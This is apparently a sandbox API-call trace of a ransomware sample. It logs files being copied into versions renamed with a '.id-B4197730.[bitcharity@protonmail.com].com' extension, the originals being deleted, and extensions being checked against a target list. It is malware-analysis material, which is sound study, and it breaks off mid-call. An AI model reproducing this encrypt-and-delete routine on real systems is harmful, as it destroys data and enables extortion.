0xffffffff [0136.434] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0136.437] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.437] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.437] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0136.437] GetLastError () returned 0x0 [0136.437] ReadFile (in: hFile=0x10cc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x37e, lpOverlapped=0x0) returned 1 [0136.570] WriteFile (in: hFile=0x1084, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x380, lpOverlapped=0x0) returned 1 [0136.571] ReadFile (in: hFile=0x10cc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.572] WriteFile (in: hFile=0x1084, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xea, lpOverlapped=0x0) returned 1 [0136.572] SetEndOfFile (hFile=0x1084) returned 1 [0136.572] CloseHandle (hObject=0x1084) returned 1 [0136.577] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.577] SetEndOfFile (hFile=0x10cc) returned 1 [0136.579] CloseHandle (hObject=0x10cc) returned 1 [0136.579] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.579] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0136.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.580] lstrlenW (lpString=".doc") returned 4 [0136.580] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.580] lstrlenW (lpString=".docx") returned 5 [0136.580] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0136.580] lstrlenW (lpString=".pdf") returned 4 [0136.580] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.580] lstrlenW (lpString=".xls") returned 4 [0136.580] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.580] lstrlenW (lpString=".xlsx") returned 5 [0136.580] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0136.580] lstrlenW (lpString=".ppt") returned 4 [0136.580] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.580] lstrlenW (lpString=".zip") returned 4 [0136.580] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.580] lstrlenW (lpString=".rar") returned 4 [0136.580] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.580] lstrlenW (lpString=".bz2") returned 4 [0136.580] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.580] lstrlenW (lpString=".7z") returned 3 [0136.580] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.580] lstrlenW (lpString=".dbf") returned 4 [0136.580] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.580] lstrlenW (lpString=".1cd") returned 4 [0136.580] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.580] lstrlenW (lpString=".jpg") returned 4 [0136.581] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.581] lstrlenW (lpString=".doc") returned 4 [0136.581] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.581] lstrlenW (lpString=".docx") returned 5 [0136.581] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0136.581] lstrlenW (lpString=".pdf") returned 4 [0136.581] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.581] lstrlenW (lpString=".xls") returned 4 [0136.581] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.581] lstrlenW (lpString=".xlsx") returned 5 [0136.581] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0136.581] lstrlenW (lpString=".ppt") returned 4 [0136.581] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.581] lstrlenW (lpString=".zip") returned 4 [0136.581] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.581] lstrlenW (lpString=".rar") returned 4 [0136.581] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.581] lstrlenW (lpString=".bz2") returned 4 [0136.581] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.581] lstrlenW (lpString=".7z") returned 3 [0136.581] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.581] lstrlenW (lpString=".dbf") returned 4 [0136.581] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.582] lstrlenW (lpString=".1cd") returned 4 [0136.582] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0136.582] lstrlenW (lpString=".jpg") returned 4 [0136.582] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.582] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.582] lstrlenW (lpString="Rotate8.ico") returned 11 [0136.582] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0136.637] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=894) returned 1 [0136.637] CloseHandle (hObject=0x10c0) returned 1 [0136.637] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0136.638] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.638] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0136.638] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.638] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.638] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0136.705] GetLastError () returned 0x0 [0136.705] ReadFile (in: hFile=0x10c0, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x37e, lpOverlapped=0x0) returned 1 [0136.795] WriteFile (in: hFile=0x10b8, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x380, lpOverlapped=0x0) returned 1 [0136.797] ReadFile (in: hFile=0x10c0, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.797] WriteFile (in: hFile=0x10b8, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xea, lpOverlapped=0x0) returned 1 [0136.797] SetEndOfFile (hFile=0x10b8) returned 1 [0136.797] CloseHandle (hObject=0x10b8) returned 1 [0136.798] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.798] SetEndOfFile (hFile=0x10c0) returned 1 [0136.799] CloseHandle (hObject=0x10c0) returned 1 [0136.799] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.799] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0136.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.800] lstrlenW (lpString=".doc") returned 4 [0136.800] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.800] lstrlenW (lpString=".docx") returned 5 [0136.800] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0136.800] lstrlenW (lpString=".pdf") returned 4 [0136.800] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.800] lstrlenW (lpString=".xls") returned 4 [0136.800] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.800] lstrlenW (lpString=".xlsx") returned 5 [0136.800] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0136.800] lstrlenW (lpString=".ppt") returned 4 [0136.800] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.800] lstrlenW (lpString=".zip") returned 4 [0136.800] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.800] lstrlenW (lpString=".rar") returned 4 [0136.800] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.800] lstrlenW (lpString=".bz2") returned 4 [0136.800] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.800] lstrlenW (lpString=".7z") returned 3 [0136.800] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.800] lstrlenW (lpString=".dbf") returned 4 [0136.800] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.800] lstrlenW (lpString=".1cd") returned 4 [0136.800] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.801] lstrlenW (lpString=".jpg") returned 4 [0136.801] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.801] lstrlenW (lpString=".doc") returned 4 [0136.801] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.801] lstrlenW (lpString=".docx") returned 5 [0136.801] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0136.801] lstrlenW (lpString=".pdf") returned 4 [0136.801] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.801] lstrlenW (lpString=".xls") returned 4 [0136.801] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.801] lstrlenW (lpString=".xlsx") returned 5 [0136.801] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0136.801] lstrlenW (lpString=".ppt") returned 4 [0136.801] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.801] lstrlenW (lpString=".zip") returned 4 [0136.801] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.801] lstrlenW (lpString=".rar") returned 4 [0136.801] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.801] lstrlenW (lpString=".bz2") returned 4 [0136.801] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.801] lstrlenW (lpString=".7z") returned 3 [0136.801] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.801] lstrlenW (lpString=".dbf") returned 4 [0136.801] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.802] lstrlenW (lpString=".1cd") returned 4 [0136.802] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0136.802] lstrlenW (lpString=".jpg") returned 4 [0136.802] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.802] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.802] lstrlenW (lpString="warn.ico") returned 8 [0136.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0136.802] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=10134) returned 1 [0136.802] CloseHandle (hObject=0x10c0) returned 1 [0136.802] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0136.802] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0136.803] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.803] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0136.803] GetLastError () returned 0x0 [0136.803] ReadFile (in: hFile=0x10c0, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x2796, lpOverlapped=0x0) returned 1 [0136.934] WriteFile (in: hFile=0x10b8, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0136.935] ReadFile (in: hFile=0x10c0, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.935] WriteFile (in: hFile=0x10b8, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.935] SetEndOfFile (hFile=0x10b8) returned 1 [0136.935] CloseHandle (hObject=0x10b8) returned 1 [0136.937] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.937] SetEndOfFile (hFile=0x10c0) returned 1 [0136.938] CloseHandle (hObject=0x10c0) returned 1 [0136.938] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.939] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0136.939] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.939] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.939] lstrlenW (lpString=".doc") returned 4 [0136.939] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.939] lstrlenW (lpString=".docx") returned 5 [0136.939] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0136.939] lstrlenW (lpString=".pdf") returned 4 [0136.939] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.939] lstrlenW (lpString=".xls") returned 4 [0136.940] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.940] lstrlenW (lpString=".xlsx") returned 5 [0136.940] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0136.940] lstrlenW (lpString=".ppt") returned 4 [0136.940] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.940] lstrlenW (lpString=".zip") returned 4 [0136.940] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.940] lstrlenW (lpString=".rar") returned 4 [0136.940] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.940] lstrlenW (lpString=".bz2") returned 4 [0136.940] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.940] lstrlenW (lpString=".7z") returned 3 [0136.940] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.940] lstrlenW (lpString=".dbf") returned 4 [0136.940] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.940] lstrlenW (lpString=".1cd") returned 4 [0136.940] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.940] lstrlenW (lpString=".jpg") returned 4 [0136.940] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.940] lstrlenW (lpString=".doc") returned 4 [0136.940] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.940] lstrlenW (lpString=".docx") returned 5 [0136.940] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0136.941] lstrlenW (lpString=".pdf") returned 4 [0136.941] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.941] lstrlenW (lpString=".xls") returned 4 [0136.941] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.941] lstrlenW (lpString=".xlsx") returned 5 [0136.941] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0136.941] lstrlenW (lpString=".ppt") returned 4 [0136.941] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.941] lstrlenW (lpString=".zip") returned 4 [0136.941] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.941] lstrlenW (lpString=".rar") returned 4 [0136.941] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.941] lstrlenW (lpString=".bz2") returned 4 [0136.941] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.941] lstrlenW (lpString=".7z") returned 3 [0136.941] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.941] lstrlenW (lpString=".dbf") returned 4 [0136.941] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.941] lstrlenW (lpString=".1cd") returned 4 [0136.941] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0136.941] lstrlenW (lpString=".jpg") returned 4 [0136.941] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.942] lstrcmpiW (lpString1=".msi", lpString2=".com") returned 1 [0136.942] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0136.942] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0137.072] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=1163264) returned 1 [0137.072] CloseHandle (hObject=0x1038) returned 1 [0137.072] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0137.072] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.077] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0137.077] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.077] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.077] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0137.084] GetLastError () returned 0x0 [0137.084] ReadFile (in: hFile=0x10a8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0137.203] WriteFile (in: hFile=0x108c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0137.380] ReadFile (in: hFile=0x10a8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x1c010, lpOverlapped=0x0) returned 1 [0137.406] WriteFile (in: hFile=0x108c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x1c020, lpOverlapped=0x0) returned 1 [0137.412] ReadFile (in: hFile=0x10a8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.412] WriteFile (in: hFile=0x108c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf8, 